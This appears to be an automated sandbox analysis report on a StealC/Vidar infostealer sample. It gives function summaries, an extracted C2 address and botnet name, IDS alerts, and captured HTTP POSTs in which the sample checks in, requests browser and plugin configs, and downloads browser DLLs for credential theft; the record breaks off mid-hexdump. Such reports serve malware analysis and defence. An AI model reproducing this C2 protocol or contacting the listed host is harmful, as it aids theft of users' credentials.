Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: a6d1b27ba237cf8830aa3fecd9dcca25bb643d9c78ce57d362f75345c3dad18a
Instruction ID: 0423dad9e27db8394128e901b1610f95ec57b195915550f3168e11ebfec84165
Opcode Fuzzy Hash: a6d1b27ba237cf8830aa3fecd9dcca25bb643d9c78ce57d362f75345c3dad18a
Instruction Fuzzy Hash: 1F112AB2918218ABCB14DFD9DD45BBEB7F8FB4CB11F10411AFA05A2280E2395940D7B1

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 006DC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 006DC74E

Part of subcall function 006DBF9F: __amsg_exit.LIBCMT ref: 006DBFAF

__getptd.LIBCMT ref: 006DC765
__amsg_exit.LIBCMT ref: 006DC773
__updatetlocinfoEx_nolock.LIBCMT ref: 006DC797

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 53c65307261b8a8780504c94b89e21ac1b2df776f2fb39bf5e36629d7e113103
Instruction ID: 4288affdab298686ecad525a638a5dd33bbd2666505fbebdc48330f21487f935
Opcode Fuzzy Hash: 53c65307261b8a8780504c94b89e21ac1b2df776f2fb39bf5e36629d7e113103
Instruction Fuzzy Hash: 01F06232D05709DBD7A1BBB85846B8E33A39F00721F11514FF404A63D6DB645941DE5A

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.6c0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.6c0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/mozglue.dllP	Virustotal: Detection: 16%			Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dlly	Virustotal: Detection: 16%			Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_006C9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_006CC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_006C7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_006C9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_006D8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 32 35 44 34 42 38 42 34 41 41 38 33 31 34 38 31 35 32 38 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="hwid"525D4B8B4AA83148152816------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="build"doma------JKKKJJJKJKFHJJJJECBF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"browsers------BKFBAECBAEGDGDHIEHIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="message"plugins------GHCAAAAKJJDAKECBGIJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 2d 2d 0d 0a Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="message"fplugins------AAEBAKKJKKEBKFIDBFBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHDHost: 185.215.113.37Content-Length: 7611Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAAHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 